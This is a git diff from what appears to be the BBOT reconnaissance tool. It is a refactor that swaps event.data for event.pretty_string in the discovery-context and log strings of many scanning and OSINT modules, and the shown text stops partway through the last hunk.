583f92b279..f28ae8af88 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -114,7 +114,7 @@ class BaseModule: # whether to retry on 429s when first pinging the API at scan start _ping_retry_on_http_429 = False - default_discovery_context = "{module} discovered {event.type}: {event.data}" + default_discovery_context = "{module} discovered {event.type}: {event.pretty_string}" _preserve_graph = False _stats_exclude = False diff --git a/bbot/modules/bevigil.py b/bbot/modules/bevigil.py index cf4d6fd223..82d9e00c90 100644 --- a/bbot/modules/bevigil.py +++ b/bbot/modules/bevigil.py @@ -38,7 +38,7 @@ async def handle_event(self, event): subdomain, "DNS_NAME", parent=event, - context=f'{{module}} queried BeVigil\'s API for "{query}" and discovered {{event.type}}: {{event.data}}', + context=f'{{module}} queried BeVigil\'s API for "{query}" and discovered {{event.type}}: {{event.pretty_string}}', ) if self.urls: @@ -49,7 +49,7 @@ async def handle_event(self, event): parsed_url.geturl(), "URL_UNVERIFIED", parent=event, - context=f'{{module}} queried BeVigil\'s API for "{query}" and discovered {{event.type}}: {{event.data}}', + context=f'{{module}} queried BeVigil\'s API for "{query}" and discovered {{event.type}}: {{event.pretty_string}}', ) async def request_subdomains(self, query): diff --git a/bbot/modules/bucket_file_enum.py b/bbot/modules/bucket_file_enum.py index 777d49d2f4..8849970e4b 100644 --- a/bbot/modules/bucket_file_enum.py +++ b/bbot/modules/bucket_file_enum.py @@ -51,7 +51,7 @@ async def handle_aws(self, event): "URL_UNVERIFIED", parent=event, tags="filedownload", - context=f"{{module}} enumerate files in bucket and discovered {extension_upper} file at {{event.type}}: {{event.data}}", + context=f"{{module}} enumerate files in bucket and discovered {extension_upper} file at {{event.type}}: {{event.pretty_string}}", ) urls_emitted += 1 if urls_emitted >= self.file_limit: diff --git a/bbot/modules/builtwith.py b/bbot/modules/builtwith.py index d94745bc9a..054818c942 100644 --- a/bbot/modules/builtwith.py +++ b/bbot/modules/builtwith.py @@ -39,7 +39,7 @@ async def handle_event(self, event): s, "DNS_NAME", parent=event, - context=f'{{module}} queried the BuiltWith API for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} queried the BuiltWith API for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) # redirects if self.config.get("redirects", True): @@ -53,7 +53,7 @@ async def handle_event(self, event): "DNS_NAME", parent=event, tags=["affiliate"], - context=f'{{module}} queried the BuiltWith redirect API for "{query}" and found redirect to {{event.type}}: {{event.data}}', + context=f'{{module}} queried the BuiltWith redirect API for "{query}" and found redirect to {{event.type}}: {{event.pretty_string}}', ) async def request_domains(self, query): diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index c5c169c372..374323b8fe 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -127,7 +127,7 @@ async def handle_event(self, event): uri, "URL_UNVERIFIED", parent=event, - context="{module} found {event.data} in HTTP service of {event.parent.data}", + context="{module} found {event.pretty_string} in HTTP service of {event.parent.data}", ) # Extract TLS certificate data @@ -172,7 +172,7 @@ async def _emit_host(self, host, event, seen, source): validated, "DNS_NAME", parent=event, - context=f"{{module}} found {{event.data}} in {source} of {{event.parent.data}}", + context=f"{{module}} found {{event.pretty_string}} in {source} of {{event.parent.data}}", ) except ValueError as e: self.debug(f"Error validating host {host} in {source}: {e}") diff --git a/bbot/modules/credshed.py b/bbot/modules/credshed.py index d5b38b9558..ea1bf707c1 100644 --- a/bbot/modules/credshed.py +++ b/bbot/modules/credshed.py @@ -80,7 +80,8 @@ async def handle_event(self, event): email_event = self.make_event(email, "EMAIL_ADDRESS", parent=event, tags=tags) if email_event is not None: await self.emit_event( - email_event, context=f'{{module}} searched for "{query}" and found {{event.type}}: {{event.data}}' + email_event, + context=f'{{module}} searched for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) if user: await self.emit_event( @@ -88,7 +89,7 @@ async def handle_event(self, event): "USERNAME", parent=email_event, tags=tags, - context=f"{{module}} found {email} with {{event.type}}: {{event.data}}", + context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}", ) if pw: await self.emit_event( @@ -96,7 +97,7 @@ async def handle_event(self, event): "PASSWORD", parent=email_event, tags=tags, - context=f"{{module}} found {email} with {{event.type}}: {{event.data}}", + context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}", ) for h_pw in hashes: if h_pw: @@ -105,5 +106,5 @@ async def handle_event(self, event): "HASHED_PASSWORD", parent=email_event, tags=tags, - context=f"{{module}} found {email} with {{event.type}}: {{event.data}}", + context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}", ) diff --git a/bbot/modules/dehashed.py b/bbot/modules/dehashed.py index 979e5fe07e..701425407f 100644 --- a/bbot/modules/dehashed.py +++ b/bbot/modules/dehashed.py @@ -60,7 +60,7 @@ async def handle_event(self, event): if email_event is not None: await self.emit_event( email_event, - context=f'{{module}} searched API for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched API for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) for user in users: await self.emit_event( @@ -68,7 +68,7 @@ async def handle_event(self, event): "USERNAME", parent=email_event, tags=tags, - context=f"{{module}} found {email} with {{event.type}}: {{event.data}}", + context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}", ) for pw in pws: await self.emit_event( @@ -76,7 +76,7 @@ async def handle_event(self, event): "PASSWORD", parent=email_event, tags=tags, - context=f"{{module}} found {email} with {{event.type}}: {{event.data}}", + context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}", ) for h_pw in h_pws: await self.emit_event( @@ -84,7 +84,7 @@ async def handle_event(self, event): "HASHED_PASSWORD", parent=email_event, tags=tags, - context=f"{{module}} found {email} with {{event.type}}: {{event.data}}", + context=f"{{module}} found {email} with {{event.type}}: {{event.pretty_string}}", ) async def query(self, domain): diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index e786595f90..77df6124ac 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -54,11 +54,11 @@ async def filter_event(self, event): async def handle_event(self, event): query = self.make_query(event) - self.info(f"Brute-forcing {self.wordlist_size:,} subdomains for {query} (source: {event.data})") + self.info(f"Brute-forcing {self.wordlist_size:,} subdomains for {query} (source: {event.pretty_string})") for hostname in await self.helpers.dns.brute(self, query, self.subdomain_list): await self.emit_event( hostname, "DNS_NAME", parent=event, - context=f'{{module}} tried {self.wordlist_size:,} subdomains against "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} tried {self.wordlist_size:,} subdomains against "{query}" and found {{event.type}}: {{event.pretty_string}}', ) diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py index 422b6ae6eb..aeb695fb6d 100644 --- a/bbot/modules/dnsbrute_mutations.py +++ b/bbot/modules/dnsbrute_mutations.py @@ -139,7 +139,7 @@ def add_mutation(m): parent=parent_event, tags=[f"mutation-{mutation_run}"], abort_if=self.abort_if, - context=f'{{module}} found a mutated subdomain of "{parent_event.host}" on its {mutation_run_ordinal} run: {{event.type}}: {{event.data}}', + context=f'{{module}} found a mutated subdomain of "{parent_event.host}" on its {mutation_run_ordinal} run: {{event.type}}: {{event.pretty_string}}', ) if results: continue diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py index 58b7efcc43..65bff03a2f 100644 --- a/bbot/modules/dnscommonsrv.py +++ b/bbot/modules/dnscommonsrv.py @@ -32,5 +32,5 @@ async def handle_event(self, event): hostname, "DNS_NAME", parent=event, - context=f'{{module}} tried {self.num_srvs:,} common SRV records against "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} tried {self.num_srvs:,} common SRV records against "{query}" and found {{event.type}}: {{event.pretty_string}}', ) diff --git a/bbot/modules/dockerhub.py b/bbot/modules/dockerhub.py index 9ecac7f646..c8fd2ce5cd 100644 --- a/bbot/modules/dockerhub.py +++ b/bbot/modules/dockerhub.py @@ -43,7 +43,7 @@ async def handle_org_stub(self, event): {"platform": "docker", "url": site_url, "profile_name": p}, "SOCIAL", parent=event, - context=f"{{module}} tried {event.type} {event.data} and found docker profile ({{event.type}}) at {p}", + context=f"{{module}} tried {event.type} {event.pretty_string} and found docker profile ({{event.type}}) at {p}", ) async def handle_social(self, event): diff --git a/bbot/modules/emailformat.py b/bbot/modules/emailformat.py index 504b71f914..560d03c8ed 100644 --- a/bbot/modules/emailformat.py +++ b/bbot/modules/emailformat.py @@ -43,5 +43,5 @@ async def handle_event(self, event): email, "EMAIL_ADDRESS", parent=event, - context=f'{{module}} searched email-format.com for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched email-format.com for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) diff --git a/bbot/modules/ffuf.py b/bbot/modules/ffuf.py index 6d7b57d5c6..335a70b9ae 100644 --- a/bbot/modules/ffuf.py +++ b/bbot/modules/ffuf.py @@ -83,7 +83,7 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f"{{module}} brute-forced {event.url} and found {{event.type}}: {{event.data}}", + context=f"{{module}} brute-forced {event.url} and found {{event.type}}: {{event.pretty_string}}", ) async def filter_event(self, event): diff --git a/bbot/modules/ffuf_shortnames.py b/bbot/modules/ffuf_shortnames.py index 7af0d66dbd..e9ee3fd05e 100644 --- a/bbot/modules/ffuf_shortnames.py +++ b/bbot/modules/ffuf_shortnames.py @@ -245,7 +245,7 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f"{{module}} brute-forced {ext.upper()} files at {root_url} and found {{event.type}}: {{event.data}}", + context=f"{{module}} brute-forced {ext.upper()} files at {root_url} and found {{event.type}}: {{event.pretty_string}}", ) elif shortname_type == "directory": @@ -256,7 +256,7 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f"{{module}} brute-forced directories at {r_url} and found {{event.type}}: {{event.data}}", + context=f"{{module}} brute-forced directories at {r_url} and found {{event.type}}: {{event.pretty_string}}", ) if self.config.get("find_delimiters"): @@ -273,7 +273,7 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f'{{module}} brute-forced directories with detected prefix "{ffuf_prefix}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} brute-forced directories with detected prefix "{ffuf_prefix}" and found {{event.type}}: {{event.pretty_string}}', ) elif "shortname-endpoint" in event.tags: @@ -290,7 +290,7 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f'{{module}} brute-forced {ext.upper()} files with detected prefix "{ffuf_prefix}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} brute-forced {ext.upper()} files with detected prefix "{ffuf_prefix}" and found {{event.type}}: {{event.pretty_string}}', ) if self.config.get("find_subwords"): @@ -304,7 +304,7 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f'{{module}} brute-forced directories with detected subword "{subword}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} brute-forced directories with detected subword "{subword}" and found {{event.type}}: {{event.pretty_string}}', ) elif "shortname-endpoint" in event.tags: for ext in used_extensions: @@ -315,7 +315,7 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=[f"status-{r['status']}"], - context=f'{{module}} brute-forced {ext.upper()} files with detected subword "{subword}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} brute-forced {ext.upper()} files with detected subword "{subword}" and found {{event.type}}: {{event.pretty_string}}', ) async def finish(self): @@ -357,7 +357,7 @@ async def finish(self): "URL_UNVERIFIED", parent=self.shortname_to_event[hint], tags=[f"status-{r['status']}"], - context=f'{{module}} brute-forced directories with common prefix "{prefix}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} brute-forced directories with common prefix "{prefix}" and found {{event.type}}: {{event.pretty_string}}', ) elif shortname_type == "endpoint": used_extensions = self.build_extension_list(self.shortname_to_event[hint]) @@ -374,5 +374,5 @@ async def finish(self): "URL_UNVERIFIED", parent=self.shortname_to_event[hint], tags=[f"status-{r['status']}"], - context=f'{{module}} brute-forced {ext.upper()} files with common prefix "{prefix}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} brute-forced {ext.upper()} files with common prefix "{prefix}" and found {{event.type}}: {{event.pretty_string}}', ) diff --git a/bbot/modules/github_usersearch.py b/bbot/modules/github_usersearch.py index 4e3b4570c3..5e330c3e07 100644 --- a/bbot/modules/github_usersearch.py +++ b/bbot/modules/github_usersearch.py @@ -33,7 +33,7 @@ async def handle_event(self, event): email, "EMAIL_ADDRESS", parent=event, - context=f"{{module}} found an {{event.type}} on the github profile {user_url}: {{event.data}}", + context=f"{{module}} found an {{event.type}} on the github profile {user_url}: {{event.pretty_string}}", ) async def query_users(self, query): diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py index 9bbe8d744f..43f4cf2e94 100644 --- a/bbot/modules/httpx.py +++ b/bbot/modules/httpx.py @@ -188,7 +188,7 @@ async def handle_batch(self, *events): url_context = "{module} visited {event.parent.data} and got status code {event.http_status}" if parent_event.type == "OPEN_TCP_PORT": - url_context += " at {event.data}" + url_context += " at {event.pretty_string}" url_event = self.make_event( url, diff --git a/bbot/modules/hunterio.py b/bbot/modules/hunterio.py index bf4fb95d8a..f732addf3e 100644 --- a/bbot/modules/hunterio.py +++ b/bbot/modules/hunterio.py @@ -28,7 +28,7 @@ async def handle_event(self, event): if email_event: await self.emit_event( email_event, - context=f'{{module}} queried Hunter.IO API for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} queried Hunter.IO API for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) for source in sources: domain = source.get("domain", "") @@ -37,7 +37,7 @@ async def handle_event(self, event): domain, "DNS_NAME", email_event, - context=f"{{module}} originally found {email} at {{event.type}}: {{event.data}}", + context=f"{{module}} originally found {email} at {{event.type}}: {{event.pretty_string}}", ) url = source.get("uri", "") if url: @@ -45,7 +45,7 @@ async def handle_event(self, event): url, "URL_UNVERIFIED", email_event, - context=f"{{module}} originally found {email} at {{event.type}}: {{event.data}}", + context=f"{{module}} originally found {email} at {{event.type}}: {{event.pretty_string}}", ) async def query(self, query): diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index 0176b41784..680cedc605 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -171,7 +171,9 @@ async def handle_wildcard_event(self, event): break wildcard_data = f"_wildcard.{wildcard_parent}" if wildcard_data != event.data: - self.debug(f'Wildcard detected, changing event.data "{event.data}" --> "{wildcard_data}"') + self.debug( + f'Wildcard detected, changing event.data "{event.pretty_string}" --> "{wildcard_data}"' + ) event.data = wildcard_data return True return False diff --git a/bbot/modules/internal/speculate.py b/bbot/modules/internal/speculate.py index a57d30c2bf..64995e504f 100644 --- a/bbot/modules/internal/speculate.py +++ b/bbot/modules/internal/speculate.py @@ -41,7 +41,7 @@ class speculate(BaseInternalModule): scope_distance_modifier = 1 _priority = 4 - default_discovery_context = "speculated {event.type}: {event.data}" + default_discovery_context = "speculated {event.type}: {event.pretty_string}" async def setup(self): scan_modules = [m for m in self.scan.modules.values() if m._type == "scan"] @@ -83,7 +83,7 @@ async def handle_event(self, event): if num_ips > ip_range_max_hosts: self.warning( - f"IP range {event.data} contains {num_ips:,} addresses, which exceeds ip_range_max_hosts limit of {ip_range_max_hosts:,}. Skipping IP_ADDRESS speculation." + f"IP range {event.pretty_string} contains {num_ips:,} addresses, which exceeds ip_range_max_hosts limit of {ip_range_max_hosts:,}. Skipping IP_ADDRESS speculation." ) return @@ -113,7 +113,7 @@ async def handle_event(self, event): "OPEN_TCP_PORT", parent=event, internal=True, - context="speculated {event.type}: {event.data}", + context="speculated {event.type}: {event.pretty_string}", ) ### END ESSENTIAL SPECULATION ### @@ -125,7 +125,7 @@ async def handle_event(self, event): parent = self.helpers.parent_domain(event.host_original) if parent != event.data: await self.emit_event( - parent, "DNS_NAME", parent=event, context="speculated parent {event.type}: {event.data}" + parent, "DNS_NAME", parent=event, context="speculated parent {event.type}: {event.pretty_string}" ) # URL --> OPEN_TCP_PORT @@ -138,7 +138,7 @@ async def handle_event(self, event): "OPEN_TCP_PORT", parent=event, internal=not event_is_url, # if the URL is verified, the port is definitely open - context=f"speculated {{event.type}} from {event.type}: {{event.data}}", + context=f"speculated {{event.type}} from {event.type}: {{event.pretty_string}}", ) # speculate sub-directory URLS from URLS @@ -150,7 +150,9 @@ async def handle_event(self, event): # inherit web spider distance from parent (don't increment) parent_web_spider_distance = getattr(event, "web_spider_distance", 0) url_event.web_spider_distance = parent_web_spider_distance - await self.emit_event(url_event, context="speculated web sub-directory {event.type}: {event.data}") + await self.emit_event( + url_event, context="speculated web sub-directory {event.type}: {event.pretty_string}" + ) # speculate URL_UNVERIFIED from URL or any event with "url" attribute event_is_url = event.type == "URL" @@ -165,7 +167,7 @@ async def handle_event(self, event): "URL_UNVERIFIED", tags=event_tags, parent=event, - context="speculated {event.type}: {event.data}", + context="speculated {event.type}: {event.pretty_string}", ) # ORG_STUB from TLD, SOCIAL, AZURE_TENANT @@ -192,7 +194,7 @@ async def handle_event(self, event): self.org_stubs_seen.add(stub_hash) stub_event = self.make_event(stub, "ORG_STUB", parent=event) if stub_event: - await self.emit_event(stub_event, context="speculated {event.type}: {event.data}") + await self.emit_event(stub_event, context="speculated {event.type}: {event.pretty_string}") # USERNAME --> EMAIL if event.type == "USERNAME": @@ -200,4 +202,4 @@ async def handle_event(self, event): if validators.soft_validate(email, "email"): email_event = self.make_event(email, "EMAIL_ADDRESS", parent=event, tags=["affiliate"]) if email_event: - await self.emit_event(email_event, context="detected {event.type}: {event.data}") + await self.emit_event(email_event, context="detected {event.type}: {event.pretty_string}") diff --git a/bbot/modules/ip2location.py b/bbot/modules/ip2location.py index c6201e04a0..80625f2852 100644 --- a/bbot/modules/ip2location.py +++ b/bbot/modules/ip2location.py @@ -51,7 +51,7 @@ async def handle_event(self, event): else: self.verbose(f"No response from {url}") except Exception: - self.verbose(f"Error retrieving results for {event.data}", trace=True) + self.verbose(f"Error retrieving results for {event.pretty_string}", trace=True) return geo_data = {k: v for k, v in geo_data.items() if v is not None} @@ -70,5 +70,5 @@ async def handle_event(self, event): geo_data, "GEOLOCATION", event, - context=f'{{module}} queried IP2Location API for "{event.data}" and found {{event.type}}: {description}', + context=f'{{module}} queried IP2Location API for "{event.pretty_string}" and found {{event.type}}: {description}', ) diff --git a/bbot/modules/ipneighbor.py b/bbot/modules/ipneighbor.py index d224c6ba8a..f5f1007b00 100644 --- a/bbot/modules/ipneighbor.py +++ b/bbot/modules/ipneighbor.py @@ -39,5 +39,5 @@ async def handle_event(self, event): if ip_event: await self.emit_event( ip_event, - context="{module} produced {event.type}: {event.data}", + context="{module} produced {event.type}: {event.pretty_string}", ) diff --git a/bbot/modules/ipstack.py b/bbot/modules/ipstack.py index 4aa364bc57..6a00935f96 100644 --- a/bbot/modules/ipstack.py +++ b/bbot/modules/ipstack.py @@ -30,7 +30,7 @@ async def setup(self): async def handle_event(self, event): try: - url = f"{self.base_url}/{event.data}?access_key={{api_key}}" + url = f"{self.base_url}/{event.pretty_string}?access_key={{api_key}}" result = await self.api_request(url) if result: geo_data = result.json() @@ -39,7 +39,7 @@ async def handle_event(self, event): else: self.verbose(f"No response from {url}") except Exception: - self.verbose(f"Error retrieving results for {event.data}", trace=True) + self.verbose(f"Error retrieving results for {event.pretty_string}", trace=True) return geo_data = {k: v for k, v in geo_data.items() if v is not None} if "error" in geo_data: @@ -57,5 +57,5 @@ async def handle_event(self, event): geo_data, "GEOLOCATION", event, - context=f'{{module}} queried ipstack.com\'s API for "{event.data}" and found {{event.type}}: {description}', + context=f'{{module}} queried ipstack.com\'s API for "{event.pretty_string}" and found {{event.type}}: {description}', ) diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index dcd758f9b7..6d6112d5db 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -48,7 +48,7 @@ async def handle_event(self, event): if event.type == "URL_UNVERIFIED": url = event.data else: - url = f"https://{event.data}" + url = f"https://{event.pretty_string}" oauth_tasks = [] if self.try_all or any(t in event.tags for t in ("oauth-token-endpoint",)): @@ -95,7 +95,7 @@ async def handle_event(self, event): event_type, parent=event, tags=["affiliate"], - context=f'{{module}} analyzed OpenID configuration for "{source_domain}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} analyzed OpenID configuration for "{source_domain}" and found {{event.type}}: {{event.pretty_string}}', ) for oauth_task in oauth_tasks: diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 11da0a7822..7901d6ac8b 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -185,7 +185,8 @@ async def finish(self): asset.host, "DNS_NAME", parent=self.scan.root_event, raise_error=True ) await self.emit_event( - host_event, context="{module} emitted previous result: {event.type}: {event.data}" + host_event, + context="{module} emitted previous result: {event.type}: {event.pretty_string}", ) for port in asset.ports: netloc = self.helpers.make_netloc(asset.host, port) @@ -193,7 +194,7 @@ async def finish(self): if open_port_event: await self.emit_event( open_port_event, - context="{module} emitted previous result: {event.type}: {event.data}", + context="{module} emitted previous result: {event.type}: {event.pretty_string}", ) else: for ip in asset.ip_addresses: @@ -201,7 +202,8 @@ async def finish(self): ip, "IP_ADDRESS", parent=self.scan.root_event, raise_error=True ) await self.emit_event( - ip_event, context="{module} emitted previous result: {event.type}: {event.data}" + ip_event, + context="{module} emitted previous result: {event.type}: {event.pretty_string}", ) for port in asset.ports: netloc = self.helpers.make_netloc(ip, port) @@ -209,7 +211,7 @@ async def finish(self): if open_port_event: await self.emit_event( open_port_event, - context="{module} emitted previous result: {event.type}: {event.data}", + context="{module} emitted previous result: {event.type}: {event.pretty_string}", ) else: self.warning( diff --git a/bbot/modules/output/emails.py b/bbot/modules/output/emails.py index ea0892d3c6..6bfe940689 100644 --- a/bbot/modules/output/emails.py +++ b/bbot/modules/output/emails.py @@ -27,7 +27,7 @@ def _scope_distance_check(self, event): async def handle_event(self, event): if self.file is not None: self.emails_written += 1 - self.file.write(f"{event.data}\n") + self.file.write(f"{event.pretty_string}\n") self.file.flush() async def report(self): diff --git a/bbot/modules/output/neo4j.py b/bbot/modules/output/neo4j.py index b859af516f..8d88572575 100644 --- a/bbot/modules/output/neo4j.py +++ b/bbot/modules/output/neo4j.py @@ -92,7 +92,7 @@ async def handle_batch(self, *all_events): src_id = all_ids[parent.id] dst_id = all_ids[event.id] except KeyError as e: - self.error(f'Error "{e}" correlating {parent.id}:{parent.data} --> {event.id}:{event.data}') + self.error(f'Error "{e}" correlating {parent.id}:{parent.data} --> {event.id}:{event.pretty_string}') continue rel_ids.append((src_id, module, timestamp, dst_id)) diff --git a/bbot/modules/output/subdomains.py b/bbot/modules/output/subdomains.py index 0deec52cf3..65d082355e 100644 --- a/bbot/modules/output/subdomains.py +++ b/bbot/modules/output/subdomains.py @@ -33,7 +33,7 @@ def _scope_distance_check(self, event): async def handle_event(self, event): if self.file is not None: self.subdomains_written += 1 - self.file.write(f"{event.data}\n") + self.file.write(f"{event.pretty_string}\n") self.file.flush() async def report(self): diff --git a/bbot/modules/pgp.py b/bbot/modules/pgp.py index 3374dac0c7..b12372dd1e 100644 --- a/bbot/modules/pgp.py +++ b/bbot/modules/pgp.py @@ -30,7 +30,7 @@ async def handle_event(self, event): "EMAIL_ADDRESS", event, abort_if=self.abort_if, - context=f'{{module}} queried PGP keyserver {keyserver} for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} queried PGP keyserver {keyserver} for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) async def query(self, query): diff --git a/bbot/modules/portscan.py b/bbot/modules/portscan.py index ac92d1f447..101f585d98 100644 --- a/bbot/modules/portscan.py +++ b/bbot/modules/portscan.py @@ -221,7 +221,7 @@ async def emit_open_port(self, ip, port, parent_event): event_data, event_type, parent=parent_event, - context=f"{{module}} executed a {scan_type} scan against {parent_event.data} and found: {{event.type}}: {{event.data}}", + context=f"{{module}} executed a {scan_type} scan against {parent_event.data} and found: {{event.type}}: {{event.pretty_string}}", ) await self.emit_event(event) diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 66f414c659..54455e3bf0 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -52,7 +52,7 @@ async def handle_event(self, event): if asn_event: await self.emit_event( asn_event, - context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_description}, {asn_country})", + context=f"{{module}} looked up {event.pretty_string} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_description}, {asn_country})", ) async def report(self): diff --git a/bbot/modules/robots.py b/bbot/modules/robots.py index daf7308b61..1240f11959 100644 --- a/bbot/modules/robots.py +++ b/bbot/modules/robots.py @@ -49,5 +49,5 @@ async def handle_event(self, event): "URL_UNVERIFIED", parent=event, tags=["spider-danger"], - context=f"{{module}} found robots.txt at {url} and extracted {{event.type}}: {{event.data}}", + context=f"{{module}} found robots.txt at {url} and extracted {{event.type}}: {{event.pretty_string}}", ) diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 1e7ffe826f..59ad329d35 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -91,7 +91,7 @@ async def handle_event(self, event): r = await self.api_request(url) if r is None: - self.debug(f"No response for {event.data}") + self.debug(f"No response for {event.pretty_string}") return try: data = r.json() @@ -115,7 +115,7 @@ async def _parse_response(self, data: dict, event, ip): """Handles emitting events from returned JSON""" data: dict # has keys: cpes, hostnames, ip, ports, tags, vulns ip = str(ip) - query_host = ip if event.data == ip else f"{event.data} ({ip})" + query_host = ip if event.data == ip else f"{event.pretty_string} ({ip})" # ip is a string, ports is a list of ports, the rest is a list of strings for hostname in data.get("hostnames", []): if hostname != event.data: @@ -123,21 +123,21 @@ async def _parse_response(self, data: dict, event, ip): hostname, "DNS_NAME", parent=event, - context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}', ) for cpe in data.get("cpes", []): await self.emit_event( {"technology": cpe, "host": str(event.host)}, "TECHNOLOGY", parent=event, - context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}', ) for port in data.get("ports", []): await self.emit_event( self.helpers.make_netloc(event.data, port), "OPEN_TCP_PORT", parent=event, - context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found {{event.type}}: {{event.pretty_string}}', ) vulns = data.get("vulns", []) if vulns: diff --git a/bbot/modules/sitedossier.py b/bbot/modules/sitedossier.py index 86f0b322d0..b4f19b701b 100644 --- a/bbot/modules/sitedossier.py +++ b/bbot/modules/sitedossier.py @@ -28,7 +28,7 @@ async def handle_event(self, event): "DNS_NAME", event, abort_if=self.abort_if, - context=f'{{module}} searched sitedossier.com for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched sitedossier.com for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) async def query(self, query, parse_fn=None, request_fn=None): diff --git a/bbot/modules/skymem.py b/bbot/modules/skymem.py index 84b34073fe..4fd3e072ab 100644 --- a/bbot/modules/skymem.py +++ b/bbot/modules/skymem.py @@ -51,5 +51,5 @@ async def handle_event(self, event): email, "EMAIL_ADDRESS", parent=event, - context=f'{{module}} searched skymem.info for "{query}" and found {{event.type}} on page {i + 1}: {{event.data}}', + context=f'{{module}} searched skymem.info for "{query}" and found {{event.type}} on page {i + 1}: {{event.pretty_string}}', ) diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index a63fd1044b..ff6f6cf402 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -90,10 +90,10 @@ async def handle_event(self, event): await self.emit_event( ssl_event, tags=tags, - context=f"{{module}} parsed SSL certificate at {event.data} and found {{event.type}}: {{event.data}}", + context=f"{{module}} parsed SSL certificate at {event.pretty_string} and found {{event.type}}: {{event.pretty_string}}", ) except ValidationError as e: - self.hugeinfo(f'Malformed {event_type} "{event_data}" at {event.data}') + self.hugeinfo(f'Malformed {event_type} "{event_data}" at {event.pretty_string}') self.debug(f"Invalid data at {host}:{port}: {e}") def on_success_callback(self, event): diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index b642579745..eaca2374c5 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -126,7 +126,7 @@ async def parse_response(self, response, query, event): "DNS_NAME", event, abort_if=self.abort_if, - context=f'{{module}} searched SubDomainRadar.io API for "{query}" and found {{event.type}}: {{event.data}}', + context=f'{{module}} searched SubDomainRadar.io API for "{query}" and found {{event.type}}: {{event.pretty_string}}', ) return True return False diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index 6dc343e4aa..e06929501e 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -67,7 +67,7 @@ async def handle_dns_name(self, event): "STORAGE_BUCKET", parent=event, tags=tags, - context=f"{{module}} tried {num_buckets:,} bucket variations of {event.data} and found {{event.type}} at {url}", + context=f"{{module}} tried {num_buckets:,} bucket variations of {event.pretty_string} and found {{event.type}} at {url}", 